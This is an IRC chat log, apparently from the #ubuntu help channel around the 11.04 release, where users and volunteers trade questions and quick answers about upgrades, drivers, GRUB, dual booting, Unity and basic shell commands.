[08:04] <ZeiP> I upgraded to 11.04, and after reboot my computer doesn't launch Xorg. It shows all the boot messages (though it shouldn't), the last message being "Starting uptime daemon: uptimed"
[08:04] <Logan_> (and Unity, for that matteR)
[08:04] <sltPoison> had do you change the styles?
[08:04] <Logan_> *matter
[08:04] <joako> Logan_: No. I install VMWare ESXi Hypervisor on the server, then I create a virtual machine to which I want to install Ubuntu
[08:04] <Grimdin> Logan_, i have installed it, and it says enabled lots of things, but nothing seems to be happening
[08:04] <elad> braiam, it cant be the HD. its only ubuntu that gives me an error, Kubuntu installed perfectly
[08:04] <Robert__> the update manager is not letting me upgrade
[08:05] <Scarra3> should I install the ATI drivers or just stick with the ones that comes with 11.04?
[08:05] <joako> When I boot the Ubuntu CD inside the virtual machine I get the message "(initramfs) mount: mounting /dev/loop0 on //filesystem.squashfs failed:
[08:05] <Phil_Shapiro> solofight: my W7 network shows up on my Ubuntu 10.10 netbook, but it won't let me log in. I'm sure you've heard of this prob before
[08:05] <Braiam> elad: the HD can have corrupted sectors on the part that you try to install ubuntu
[08:05] <lo0m> econnell: what about a fresh install? then dd ? or migrate only /home ? i don't want to lose all settings (home dotfiles) and hooks in /var/www
[08:05] <Robert__> i need help upgrading
[08:05] <mello> Scarra3 install ati driver on your own risk! it depends on your computer..
[08:06] <elad> braiam, i wiped the partition 30 minutes ago...
[08:06] <mello> Scarra3 on my pc when using ATI driver, compositing doesn't work anymore, which is a key feature used in unity compiz
[08:06] <mello> Scarra3 in other words: it might be that your compiz is screwed
[08:06] <econnell> lo0m: if windows is already on the machine, ubuntu's installer should recommend a resize
[08:06] <Scarra3> Its a sony vaio and my graphics card is an ATI Mobility Radeon HD 4250
[08:07] <Grimdin> mello, i have same problems on nvidia driver (latest version)
[08:07] <deeeed> hi
[08:07] <Grimdin> compositing does not work
[08:07] <mello> Scarra3: I have ATI mobility Radeon HD 3650; I would recommend just trying. Go back if something feels sloppy for you
[08:07] <Robert__> hate to be a bother but im having some trouble upgrading
[08:07] <econnell> if you want to create a vm from the disk, that's a whole different matter... and the process varies based on your virtualization solution
[08:07] <joako> How can I download .torrent of ubutntu? I think the HTTP download is corrupt
[08:07] <mello> Grimdin: good to know; i thought this problem only existed with ATI
[08:07] <Braiam> elad: there're another cause, your CD are all broken or your cd-w was defect
[08:08] <Braiam> has*
[08:08] <mello> joako: get a torrent program like vuze, transmission µtorrent, and download it.
[08:08] <jooseyjoose> if i had a huge csv file is there a way to split it up into sections?
[08:08] <Grimdin> mello, is there bug open already?
[08:08] <Obamanation> anyone know of an applet similar to "CPU Graph" that works on 11.04?
[08:08] <paul> I've made a huge big mess of all my public/private keys, if I want to start all over, is it safe to just deleve ~/.ssh ?
[08:08] <deeeed> do you know about compatibility for installating ubuntu on a macbook pro ?
[08:08] <Braiam> mello: utorrent? closed-source?
[08:08] <mello> Grimdin: i don't have a clue.. i had this problem before, not just on natty. I think it is a driver related problem
[08:08] <red2kic> !torrents | joako
[08:08] <ubottu> joako: Natty can be torrented from http://torrent.ubuntu.com/simple/natty/desktop/ubuntu-11.04-desktop-i386.iso.torrent or http://torrent.ubuntu.com/simple/natty/server/ubuntu-11.04-server-amd64.iso.torrent depending on your architecture. Other flavors can be found at http://torrent.ubuntu.com/
[08:08] <deeeed> do you know if the drivers support all the hardware ?
[08:08] <elad> braiam, my CD? im booting off a USB
[08:08] <mello> Braiam: I am suggesting it because he might be on windows, and that program is easier
[08:08] <Blue1> paul: why not just rename the directory first, then start over.
[08:09] <lo0m> econnell: i'll propably just trash Win7 and do a fresh 11.04 install, use this VM there and setup everything by hand.. thx anyway
[08:09] <Scarra3> How do I stop my computer from locking after a certain amount of time?
[08:09] <nicklo> Is there an explanation as to what the mac version ubuntu-11.04-desktop-amd64+mac.iso is?
[08:09] <paul> Blue1: clever, thank you
[08:09] <Braiam> mello: ok then
[08:09] <Blue1> paul: always have a path back, to the way it was, before you messed it up.
[08:09] <econnell> lo0m: if it matters.. that's what i did
[08:09] <joako> mello, No insults but is this the n00b channel?
[08:09] <Obamanation> lo0m: have you considered dual boot?
[08:09] <mello> Braiam: hence why it was my last suggestion.
[08:09] <taglass> jooseyjoose: man split
[08:09] <keruom_> hi, I a but confused with linux-backports-modules-compat-wireless packages. I need to have at least 2.6.37-2.6.32-31-generic, where the 2.6.37 is important
[08:09] <jooseyjoose> thanks taglass !
[08:09] <Obamanation> anyone know of an applet similar to "CPU Graph" that works on 11.04?
[08:09] <taglass> jooseyjoose: that should be able to break it up for you
[08:10] <Braiam> elad: broken usb, then? has you tried redownload the image file iso
[08:10] <mello> joako: you weren't expecting from canonical here were you? I'm just trying to help.
[08:10] <nicklo> I'd like to try Natty on this MacBook but wondering which iso to download.
[08:10] <elad> braiam, tried a cd too...
[08:10] <keruom_> but i want to have automatic updates working, so I would like to install 'linux-backports-modules-compat-wireless-2.6.38-lucid-generic' as the package desription suggests...
[08:10] <lo0m> Obamanation: dual boot is not an option.. i use linux for years, it was just my past employer that was hooked to M$ so much he forced me to use it...
[08:10] <keruom_> but there seems to be no such package on lucid
[08:10] <Blue1> keruom_: this may/may not help:  http://pkill-9.com/getting-wireless-connect-to-work-for-acer-aspire-on-ubuntu/
[08:10] <Braiam> elad: both same results?
[08:10] <red2kic> nicklo: I imagine it is the one with -mac- in the filename you mentioned above.
[08:11] <joako> I know what .torrent is, but put into google "ubuntu torrent" and I get this: http://www.ubuntu.com/desktop/get-ubuntu/alternative-download ERROR 404
[08:11] <atharva> unable to start Synaptic Unable to get exclusive lock
[08:11] <atharva> This usually means that another package management application (like apt-get or aptitude) is already running. Please close that application first.
[08:11] <elad> braiam, exact same results\
[08:11] <Obamanation> lo0m: i apologize if i'm making you repeat yourself (just joined a minute ago) but how come it's not an option?
[08:11] <Braiam> elad: then is a corrupted iso what you have
[08:11] <nicklo> red2kic: Yeah I'd presumed so. I was curious where the info is on what that means
[08:11] <mello> joako: that was not really in your description; from what you said it sounded like you didn't know what torrents are..
[08:11] <nicklo> if I try download direct from ubuntu.com I don't get the mac version
[08:11] <red2kic> nicklo: "This image is adjusted to work properly on Mac systems"
[08:11] <nicklo> there is also the alternative mac version
[08:11] <elad> braiam, both the 64 bit & 32 bits that ive tried? i dled it directly from ubuntu
[08:11] <red2kic> Robert__: Talk here.
[08:11] <nicklo> red2kic: where did you get that info?
[08:12] <red2kic> nicklo: http://cdimage.ubuntu.com/releases/natty/release/
[08:12] <Robert__> i try but nothing gets read
[08:12] <red2kic> Robert__: What is the problem?
[08:12] <mello> joako http://www.ubuntu.com/download/ubuntu/alternative-download#bt
[08:12] <lo0m> Obamanation: as i dont want it.. i dont need Win.. inside VirtualBox i made a perfect working setup.. i was just finding a way to transfer it to HDD (so it would be the only OS)
[08:12] <nicklo> red2kic: excellent, thanks!
[08:12] <thegoodcushion> So here's a thought: Why does the distro fit exactly on one CD?  Does the base install consist of packages that will fit on one CD?  Would Ubuntu ever distribute a release that needed compulsory download or burning to DVD?
[08:12] <Braiam> elad: check the hashsum or download via torrent
[08:12] <red2kic> nicklo: Np.
[08:12] <keruom_> Blue1: thx, but the problem is somehow different :-) I am missing the linux-backports-modules-compat-wireless-2.6.38-lucid-generic package in lucid
[08:12] <SoulRaven> hi, i try to find the  loader.conf in ubuntu server, but i don't know where is it
[08:12] <SoulRaven> http://webcache.googleusercontent.com/search?q=cache:iP3utsapSvIJ:manpages.ubuntu.com/manpages/intrepid/man4/ep.4freebsd.html+ubuntu+3CCE589ET&cd=4&hl=ro&ct=clnk&gl=ro&source=www.google.ro
[08:13] <elad> braiam, ok thanks
[08:13] <Braiam> elad: no problem :-)
[08:13] <red2kic> thegoodcushion: Because it's easy.
[08:13] <heroprimeremix> How do i get to my home directory while i am root user?
[08:13] <Robert__> red2kic can you help
[08:13] <SoulRaven> where i put the if_ep_load="YES" in ubuntu server
[08:13] <Tm_T> thegoodcushion: it fits exactly to one cd as with every release there's fine balancing on what will be included because of the limits of CD as medium. And atleast for now the plan is to keep doing that way
[08:13] <Magnusson> heroprimeremix: cd /home/
[08:13] <thegoodcushion> red2kic: so are all releases limited by that size?
[08:13] <ror> booting into ubuntu-classic option I get no launchers, panels etc, I can't launch anything :(
[08:13] <Obamanation> lo0m: ooh okay, yeah i may have a difference of opinion on one count, but anyhow, is it windows or ubuntu that you set up in VM
[08:13] <red2kic> thegoodcushion: You want to install Ubuntu using Iomega Zip Disk or Floppy disk? Be my guest.
[08:14] <Magnusson> heroprimeremix: cd /home/(username) sorry
[08:14] <red2kic> Robert__: What is the problem?
[08:14] <thegoodcushion> red2kic: well what about using DVD?
[08:14] <thegoodcushion> red2kic: Or USB key would be possible too
[08:14] <thegoodcushion> See in future we could say that the release is limited to 4 gigs compressed
[08:14] <Robert__> red2kic__:i am heaving trouble upgrading
[08:14] <lo0m> Obamanation: sorry wasnt clear.. i setup Ubuntu 10.10 in VirtualBox.. Win7 is the host machine
[08:15] <red2kic> thegoodcushion: I'm not the person to ask -- but if you insist, there are minimal iso (12MB).
[08:15] <red2kic> thegoodcushion: Yes, USB is already possible. I have been using USB method.
[08:15] <SoulRaven> hi, i try to find the  loader.conf in ubuntu server, but i don't know where is it
[08:15] <linuxuz3r> i missed the release party
[08:15] <red2kic> Robert__: I see. I hate upgrades. I always find myself doing clean installations over upgrades.
[08:15] <Obamanation> lo0m: perfect. install apt-to-cd (or something like that) and it make a burnable image of your installation that you can do a "fresh" install with
[08:15] <Phil_Shapiro> Anyone here, please...is there a solution to the problem of loging into a Windows 7 network?
[08:16] <thegoodcushion> linuxuz3r: you can have a release party of your own
[08:16] <mang0> Guys, I have to much to write here, please check this out: http://www.pasteall.org/21230/text I've been having install problems
[08:16] <linuxuz3r> is 11.04 lts?
[08:16] <SoulRaven> hi, i try to find the  loader.conf in ubuntu server, but i don't know where is it
[08:16] <keruom_> linuxuz3r: yes
[08:16] <ZykoticK9> linuxuz3r, no 10.04is LTS
[08:16] <keruom_> linuxuz3r: eeeh, sorry :-)
[08:17] <Obamanation> lo0m: it saves all packages you have installed and does not add any you removed. it will not, however, save documents or media of any kind
[08:17] <Robert__> red2kic__:ok then well i am on a dual boot pc with windows 7 and ubuntu 10.04 do how do i get rid of ubuntu with out messing up windows
[08:17] <Braiam> !repeat | SoulRaven Phil_Shapiro
[08:17] <ubottu> SoulRaven Phil_Shapiro: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[08:17] <lo0m> Obamanation: oh, thanks.. i thought AptOnCd can just store package information (what was installed).. anyway, i could copy just the dotfiles than manually.. thanx - will go that way
[08:18] <Obamanation> lo0m: anytime :)
[08:18] <ror> Is there anything I need to add if I remove unity?
[08:18] <red2kic> Robert__: ##windows might be the proper channel (I'm not sure how to deal with mbr/grub).
[08:18] <Phil_Shapiro> ubottu: ok thanks
[08:18] <Obamanation> lo0m: it will create an image of your 10.10 but you can just do the upgrade process afterwards.
[08:18] <Robert__> red2kic__:mbr/grub?
[08:19] <red2kic> Robert__: Windows use whatever they use. Linux use grub.  (for bootloader).
[08:19] <red2kic> !info grub | Robert__
[08:19] <ubottu> Robert__: grub (source: grub): GRand Unified Bootloader (Legacy version). In component main, is optional. Version 0.97-29ubuntu61 (natty), package size 278 kB, installed size 912 kB (Only available for i386 kfreebsd-i386 hurd-i386 amd64 kfreebsd-amd64 lpia all)
[08:20] <Obamanation> anyone know how to remove an applet from the panel that won't open a context menu?
[08:20] <red2kic> Robert__: When you start up your computer, the bios do its stuffs first -- then grub does it stuffs.
[08:20] <Braiam> red2kic: i think that is grub2
[08:20] <Robert__> red2kic__:oh ok so how do i delete ubuntu
[08:21] <red2kic> Robert__: You can delete it using liveCD (delete the partition) -- but I don't know how you would deal with grub. You should ask in ##windows about the mbr question.
[08:21] <Obamanation> Robert__; red2kic: you can also overwrite the PC bios with grub (-_o) not recommended unless you know what you're doing
[08:21] <ddddddddddd> i have one question should i take kde
[08:21] <Rehan> i'm installing ubuntu 11.04 and it keeps hanging at the very end due to nvidia drivers not being found, although on the liveUSB trial run there were no problems
[08:22] <ddddddddddd> i have one question should i take kde
[08:22] <red2kic> ddddddddddd: Why wouldn't you?
[08:22] <mang0> Guys, I have to much to write here, please check this out: http://www.pasteall.org/21230/text I've been having install problems with 10.10 LiveCD. Please ping me/mention my name in your answers so I can minimize xchat. Thanks!
[08:22] <ror> please can somebody help? I can't seem to get ubuntu-classic to work
[08:22] <ZykoticK9> related to Rehan's question above, it is possible to use Nvidia Proprietary drivers in 11.04?
[08:23] <ddddddddddd> red2kic:
[08:23] <Robert__> red2kic__; Obamanation: oh my gosh why is all of this so complicated
[08:23] <ddddddddddd> how can i under KDE start up the command /etc/init.d//ccpd start
[08:23] <ddddddddddd> it should runned as autostart
[08:23] <Obamanation> ddddddddddd: kde is best suited for learning how linux works and how to develop for it
[08:24] <red2kic> Robert__: It isn't. You can remove/install grub using linux systems -- the problem is that how do you install to the first sector of HDD with Windows? (Usually that is being done when you install Windows for first time).
[08:24] <tuxy_> hello i am having a problem setting a unique mount in 11.04 ubuntu
[08:24] <ddddddddddd> how can i under KDE start up the command /etc/init.d//ccpd start
[08:24] <ddddddddddd> it should runned as autostart
[08:24] <red2kic> Robert__: So you don't want to reinstall Windows (Fine -- but how do you install the boot process for Windows?) Ask in ##windows
[08:24] <taglass> Robert__: http://www.ehow.com/how_4836283_repair-mbr-windows.html
[08:24] <red2kic> Robert__: One choice is to leave it alone (grub).
[08:25] <Obamanation> ddddddddddd: have you tried entering it from grub's shell?
[08:25] <Blue1> red2kic: are you trying to fix a dual boot issue?
[08:25] <tuxy_> why cannot i not name my own point on the installer ?
[08:25] <red2kic> Blue1: No. He wanted to get rid of Ubuntu (and grub is part of Ubuntu). :)
[08:25] <Blue1> red2kic: ahh ok
[08:25] <ddddddddddd> Obamanation no i meant as systemstart
[08:25] <Magnusson> tuxy_: did you select "advanced" or something to that effect?
[08:26] <Axlin> ddddddddddd: look in system settings → startup & shutdown
[08:26] <Robert__> red2kic__; ok your talking alot about windows
[08:26] <ror> wtf, I can't remove unity without removing ubuntu-desktop?
[08:26] <Robert__> red2kic__: i dont want to do any thing to windows
[08:26] <fubada> hey guys is it cool to cnntrl-c  do-upgrade-release
[08:26] <fubada> im in the middle of apt downloading
[08:26] <fubada> the mirrors are too slow
[08:26] <fubada> and i need sleep
[08:27] <red2kic> mang0: Just plug the cable in.
[08:27] <Obamanation> ddddddddddd: i know of a dirty way to make that happen
[08:27] <Rehan> is it possible to torrent the updates?
[08:27] <mang0> cable for what, red2kic?
[08:27] <Braiam> fubada: this is cause the heavy load of the servers
[08:28] <fubada> Braiam, i understand this, is it safe to control-c
[08:28] <fubada> the process of do-release-upgrade
[08:28] <fubada> im in the apt-get stage
[08:28] <Obamanation> ddddddddddd: make the command auto-run in a terminal via saved session every time you cold boot
[08:28] <ddddddddddd> Obamanation can i do it in
[08:28] <ddddddddddd> startup and shutdownn ?
[08:28] <red2kic> mang0: Get a cable. Move your computer downstairs. I don't know. The cables are pretty cheap. Got myself 25FT HDMI for 10 bucks. Get 100ft if you need it.
[08:28] <thegoodcushion> Okay, I have an nvidia GTX460SE card running on Ubuntu 10.04.  The screen is in 640x480 mode and obviously isn't being accelerated.  How do I get decent drivers for it?  The nvidia website wants me to download a 26 megabyte .bin file and I don't know what to do with it
[08:29] <red2kic> mang0: Until you get that Wifi part solved -- Often, when you're installing something -- you always want to use cable.
[08:29] <fubada> thegoodcushion, sudo apt-get install nvidia-current
[08:29] <mang0> hmm
[08:29] <ddddddddddd> startup and shutdownn ? can i do theree
[08:29] <listpi> what does udisks utility do ?
[08:29] <thegoodcushion> fubada: thx
[08:29] <mang0> Okay, I'll talk to my mum
[08:29] <Obamanation> ddddddddddd: not sure i understand what you're asking
[08:29] <michael> help needed
[08:29] <listpi> what does udisks utility do ?
[08:29] <Blue1> listpi: man udisks might be a good place to start.
[08:30] <taglass> ddddddddddd: I know chkconfig can be used to enable/disable services which is what you seem to want.  I'm not sure what the "ubuntu way" is though
[08:30] <listpi> Blue1 : thanks but i am using 9.04 ubuntu and on this udisk is not available
[08:30] <listpi> blue1 : tell me what i do
[08:30] <ejv> red2kic: a 25ft hdmi from best buy would cost like $1000 LOL
[08:30] <Blue1> listpi: what are you trying to do?
[08:31] <Braiam> !help | michael
[08:31] <ubottu> michael: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[08:31] <red2kic> ejv: Probably. Best Buy is a scumbag corportation.
[08:31] <mang0> red2kic cant I mount the .iso using daemon tools lite, run wubi, click the option to dualboot it, it'll restart after installing, then you will always have an option for windows or ubuntu on startup
[08:31] <mang0> I'll*
[08:31] <SoulRaven> i can't find loader.conf
[08:31] <red2kic> !iso | mang0
[08:31] <ubottu> mang0: To mount an ISO disc image, type « sudo mount -o loop <ISO-filename> <mountpoint> » - There is a list of useful cd image conversion tools at http://wiki.linuxquestions.org/wiki/CD_Image_Conversion - Always verify the ISO using !MD5 before !burning.
[08:31] <ejv> red2kic: yup ;)
[08:31] <red2kic> mang0: I'm not sure what you're trying to accomplish though.
[08:31] <taglass> SoulRaven: loader.conf is a BSDism
[08:32] <linuxuz3r> !gnome3
[08:32] <ubottu> Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[08:32] <Blue1> listpi: you realise that 9.04 is no longer supported
[08:32] <mang0> red2kic I want to dual boot windows and ubuntu, and have them on seperate hard drives (I have 2)
[08:32] <red2kic> mang0: If you want to dualboot, you can use either option -- Disc or Wubi. -- I don't like Wubi.
[08:32] <linuxuz3r> whats the difference between gnome 3 and gnome shell
[08:32] <SoulRaven> taglass: and how i load  if_ep_load="YES"
[08:32] <sighhhh> hello, i seem to have lost my start menu... how do i get it back i cant find on the web
[08:32] <taglass> SoulRaven: you don't.  That's for FreeBSD
[08:33] <mang0> red2kic I don't want to use Wubi....but it might be my only option for the moment
[08:33] <thegoodcushion> fubada: I have the proprietary drivers installed but it still seems to be using VGA crappy settings
[08:33] <listpi> Blue1 : ya but let me know if i upgrade 9.04 to 9.10 then is there any effect ...i will get the same thing after upgrade
[08:33] <red2kic> mang0: If you're on a tower. Can't you unplug HDD you don't want to use, and plug the one you want to use Ubuntu on?
[08:33] <SoulRaven> taglass: and is no solution to load the module for 3com cards?
[08:33] <fubada> thegoodcushion, you got the nvidia control panel under Administration>
[08:33] <mang0> hmm
[08:33] <fubada> mess with that
[08:33] <mang0> I could
[08:33] <fubada> im goign to bed
[08:33] <fubada> night
[08:33] <FloodBot3> fubada: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[08:33] <mang0> hold on
[08:34] <Blue1> listpi: you should backup /home/ and /etc/ then do a fresh install of at least 10.04 or higher -- 10.04 was an lts (long term support) release
[08:34] <AMAG> No doubt this is a common question, but is there a FAQ item telling me how to get my nvidia driver working after 11.04 upgrade?  Under "Additional Drivers," I am told "This driver is activated but not currently in use."
[08:34] <sighhhh> how do i recover my start menu. its disapeared?
[08:34] <taglass> SoulRaven: It should be loading it automatically if it's supported.  I'm not going to tackle this because I'm going to bed.  I just wanted to fix your BSD problem :)
[08:35] <JWay> is it intentional that when using unity, compiz takes up 9-10% cpu load constantly when doing nothing but having a terminal and chrome open?
[08:35] <Starminn> sighhhh: Which Ubuntu version?
[08:35] <sighhhh> 11.04 just upgraded
[08:35] <Rehan> 11.04 keeps stopping during installation due to a lack of nvidia-current. What can I do to fix this? Thank you.
[08:35] <zamba> these days "which ubuntu version" should be a pretty redundant question :)
[08:35] <ror> Right, how can I get the chromium launcher to LAUNCH A NEW WINDOW when I click it? At the moment it just brings back up the window I already have open
[08:35] <joako> If I installed Ubuntu 10.10 it's not going to automatically update to 11.04?
[08:35] <maedox> sighhhh: log out, click you username if applicable, select Ubuntu Classic on the menu and then log in.
[08:35] <ror> this is exactly why I switched away from windows in the first place, because windows 7 was doing that
[08:35] <Braiam> Rehan: you checked your CD
[08:35] <ramshot> Heya, just upgraded to 11.04 and I'm impressed so far, but one thing is driving me nuts... How do I launch a new instance from the launcher instead of switching to one already opened? I've tried alt/ctrl/shift/etc and just can't find it / google it :)
[08:35] <zamba> i'm guessing 90% of all questions in here are related to 11.04 :)
[08:35] <sighhhh> thanks maedox
[08:35] <heroprimeremix> how do i change my cursor in 11.04
[08:35] <sighhhh> i luf joe!
[08:36] <ramshot> Heh, I see I'm not the only one with the same quetion %)
[08:36] <ejv> solution: go back to windows.
[08:36]  * ejv bows
[08:36] <Blue1> ejv: or debian
[08:36] <listpi> blue1 : can you tell how to automount local drive on boot
[08:36] <heroprimeremix> how do i change my cursor theme??? ANYONE?????
[08:37] <ror> Since when did #ubuntu become so unhelpful?
[08:37] <ejv> appearances!???
[08:37] <atavist> i have 2 computer running with ubuntu, have shared some folders -- neither computer can see the other shares when browsing through nautilus. any thoughts?
[08:37] <ramshot> ror: I found one page saying that middle mouse button could work, but for me it doesn't, try it if you haven't.
[08:37] <heroprimeremix> ejv: it dosent work
[08:37] <Blue1> listpi: http://pkill-9.com/removable-usb-devices-and-fstab-settings/
[08:37] <ror> ramshot: that did work for me, thanks
[08:37] <red2kic> ror: Use Ctrl + N in Chromium? :o
[08:37] <ramshot> Okay then, how do I get my middle mouse button to work, anyone? :D
[08:38] <ejv> ror, the point is that no one has any interest in what your experience was like in windows since this is ubuntu support.
[08:38] <Blue1> atavist: can they ping each other?
[08:38] <AnySocal> hello ubuntu users
[08:38] <AMAG> nvidia driver help on 11.04, anyone?
[08:38] <AnySocal> how is everyone?
[08:38] <ror> ejv: I was just pointing out there seems to be a lot of regression this release to make things more like windows or mac, when ubuntu was better
[08:38] <atavist> Blue1: i'm coming from windows, what's the equivalent of ipconfig to find my IP?
[08:38]  * Blue1 is waiting for the royal bemoaning to start
[08:38] <ramshot> I'm great thanks, but I'd be better if my middle mouse button worked :)
[08:39] <AMAG> atavist:ifconfig
[08:39] <Blue1> atavist: ifconfig
[08:39] <zachgretzinger> atavist www.ip-adress.com
[08:39] <ejv> ror: i believe gnome should also be available as a fall back, should unity not work as intended
[08:39] <AnySocal> lol middle button is so useful
[08:39] <ramshot> ror: Btw, afaik it's possible to easily switch to the old gnome configuration still would should be about the same experience as 10.04
[08:39] <ror> ejv: how? It's not working for me, even "ubuntu-classic" isnt' working for me
[08:39] <ramshot> From the login screen afaik
[08:40] <ror> I'd happily switch back, but trying to uninstall unity I got "also need to uninstall ubuntu-desktop" which worried me
[08:40] <AnySocal> well just wanted to say hey
[08:40] <AnySocal> have a good one
[08:40] <folivora> ror: Yes old Gnome is fallback.. If your gfxcard is unable to work with new 3d env....
[08:40] <atavist> Blue1: yes they can ping each other
[08:40] <AMAG> I upgraded a test machine first.  Glad I did, since the test machine is now totally unusable
[08:40] <Blue1> atavist: so you are doing a samba share then?
[08:40] <ror> folivora: my gfxcard isn't at fault? And if I choose "ubuntu classic" I just get my desktop background and a cursor, and no panels/menus etc
[08:40] <Magnusson> isn't there a command to cd back to your last working directory?
[08:41] <red2kic> Magnusson: "cd ..?" (parent directory)
[08:41] <AMAG> ror: I saw a blog or something about that today.  I think your "classic" problem may be common.
[08:41] <ZykoticK9> Magnusson, cd -
[08:41] <Browser> Buenas.
[08:41] <Blue1> Magnusson: you can cd ../  which will but you one directory higher in the chain
[08:41] <atavist> Blue1: I believe so. I right clicked on the folder, enabled sharing, it installed what I thought was samba to enable it... then later I also tried apt-get install samba4 on both systems
[08:41] <Blue1> Magnusson: or cd ~      to go to your home directory
[08:41] <ejv> ror: worked perfectly for me, i selected ubuntu classic no effects, because well... i hate effects ;)
[08:41] <red2kic> ZykoticK9: I learned something new!
[08:42] <vega> Blue1: that can be done with just "cd"
[08:42] <ramshot> This is just weird... middle button seems to launch a new instance... like 1/3 of the times I try it
[08:42] <Blue1> atavist: this may/may not help:  http://www.unixmen.com/linux-tutorials/1060-how-to-configure-samba-using-a-graphical-interface-in-ubuntu
[08:42] <ejv> honestly, outside of unity, this new version is anti-climatic....
[08:43] <Magnusson> nah i'm not looking to move 1 level up, i could be nuts but i think i remember years ago being able to for example  cd /etc/X11, then cd /mnt/cdrom, then use another command to get back to cd /etc/X11 (just an example off the top of head)
[08:43] <ghost1551> ej
[08:43] <red2kic> Magnusson: "cd -"  ?
[08:43] <Starminn> ejv: Well, they dumped OpenOffice and Rhythmbox. (And now use what I've been using for months, so I'm pleased)
[08:43] <Blue1> Magnusson: cd ../   will do that
[08:43] <ghost1551> abe seljak
[08:43] <Magnusson> Blue1>oh ya? cool thanks :)
[08:43] <ror> It just annoys me how Canonical are such clowns these days. Ever since the "megabug" over the naming of Ubuntu One, they've acted in their interests only. For example they just added a load of their apps to my launcher without asking, they now have a launcher you can't configure, you can't even move the panel to the bottom of the screen; Window switching used to be easy, by scrolling the mousewheel over the panel, you can't do
[08:43] <ror>  that now. I guess the "solution" is to go to debian, but I've been using Ubuntu since edgy and I *liked* it.
[08:43] <ejv> Starminn: banshee? agreed, been using for years via the PPA
[08:43] <ghost1551> abe angel
[08:44] <Starminn> ejv: Yep. I thinkt hat the only exciting thing for the version itself (other than Unity, of course) is they dumped OpenOffice which is a pretty bold move.
[08:44] <isbric> how do i check the fifo buffer limit?
[08:44] <red2kic> ror: Heh. You can always go with Ubuntu minimal and install barebone gnome environment.
[08:44] <ejv> Starminn: i don't really know the difference betwen open and libre office, but it sounds merely like licensing...
[08:44] <red2kic> Starminn: OpenOffice isn't open anymore, yah?
[08:45] <red2kic> libre/free.
[08:45] <ror> But I don't want minimal, I like all the effects and fancy stuff, but they've gone from applications where you can configure every last detail to applications where the application forces *your* behaviour
[08:45] <Blue1> Starminn: dunno good question -but libreoffice is not ready for primetime, imho
[08:45] <mang0> right, I'm back. red2kic what were you saying about unplugging one of the hard drives?
[08:45] <red2kic> Blue1: Libreoffice works for me just fine? :o
[08:45] <ror> that and not being able to scroll through open windows with the mouse wheel is horribly worse for me, it's the only way I used to switch windows
[08:45] <AMAG> I do not like how I just clicked restart from a logged-in user and it just returned to the login screen
[08:46] <vega> ror: too much trying to mimick mac-style ... this release definitely seems to be at testing stage
[08:46] <Blue1> red2kic: ymmv applies
[08:46] <Starminn> ejv: Libre is a fork of Open. They didn't like how things were ebing handled so they formed LibreOffice,
[08:46] <Rehan> is there a way to torrent all the updates with the ISO instead of sitting here waiting for it to download from Canonical?
[08:46] <marioczek> hello all
[08:46] <Blue1> howdy marioczek tex
[08:46] <Starminn> Rehan: You can upgrade with the AlternateCD I believe.
[08:47] <red2kic> mang0: I'm not sure what you wanted to do. Dualboot. Just grab your mama's cable.
[08:47] <Rehan> Starminn: doing a fresh install
[08:47] <marioczek> i have some question about root
[08:47] <mang0> right D:<
[08:47] <Blue1> marioczek: ok
[08:47] <Starminn> Rehan: Then just grab it from the torrent the link to, or find one on a torrent site as I'm sure one's already there. Normal LiveCD
[08:47] <Starminn> !root | marioczek
[08:47] <ubottu> marioczek: Do not try to guess the root password, that is impossible. Instead, realise the truth... there is no root password. Then you will see that it is 'sudo' that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[08:47] <marioczek> i try create a server on ubuntu 11.04
[08:48] <Oday> can i do "wc" on a .odt document?
[08:48] <ejv> if you can push it to stdout, sure
[08:48] <Rehan> Starminn: i already have the liveCD iso, put it on a USB, installing from it currently, but its installing so many things slowly
[08:48] <marioczek> whe i try create a folder in var/www its write im not have access
[08:48] <mang0> red2kic I will take the cable, but I can't install, as Ubuntu LiveCD wont actually detect my drives....
[08:48] <daxt> hi guys , i installed 11.04 in my HDD parallel to 10.10 Lucid , but  11.04 is not listed in the boot menu ,  How do i fix it ?
[08:48] <Oday> i can :)
[08:48] <maxmahem> Okay, somehow after I upgraded to 11.04 I broke GRUB. I've booted to my install via a SuperGRUB USB, but how do I go about fixing my grub setup?
[08:49] <red2kic> mang0: I see. You might want to try alt.
[08:49] <red2kic> !alt | mang0
[08:49] <ubottu> mang0: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[08:49] <red2kic> mang0: (wider range of hardware) -- Not sure if that applies -- but it might.
[08:49] <Blue1> daxt: this might help:  http://pkill-9.com/recovering-ubuntudebian-linux-after-a-windows-installhiccup/
[08:49] <mang0> ooooh, an alternitive
[08:49] <Grimdin> another problem after 11.04 upgrade, laptop, nvidia, classic desktop, i use 2 monitors  and external monitor is my primary monitor, now i noticed on laptop monitor that it has global menu enabled and its missing window controls, etc, but on external monitor i have window controls and no global menu but no desktop visuals
[08:49] <mang0> native*
[08:49] <Braiam> marioczek: this is because you actualy doesn't have it, it use the www-data user
[08:49] <marioczek> siema wszystkim
[08:49] <roma99> i just mount 'ubuntu 11.4' by ISO file on my computer so now how can i upgrade my ubuntu (10.10) to new version?
[08:49] <red2kic> mang0: Also, unplug the HDDs -- Lessen the chance of accidental, I suppose.
[08:49] <marioczek> siema
[08:49] <red2kic> mang0: (When it's off).
[08:49] <daxt> hey Blue1 thanks for quick reply !
[08:49] <mang0> k
[08:50] <mang0> right, thankyou red2kic  :D
[08:50] <Blue1> roma99: I've had problems upgrading - it is genrally (for me) better to backup /etc/ and /home/ and then do a fresh install.
[08:50] <roma99> there must be some ways to upgrade from iso files?
[08:51] <Braiam> roma99: using the alternative CD
[08:51] <roma99> you mean burn the ISO on a CD?
[08:51] <red2kic> !alt | roma99
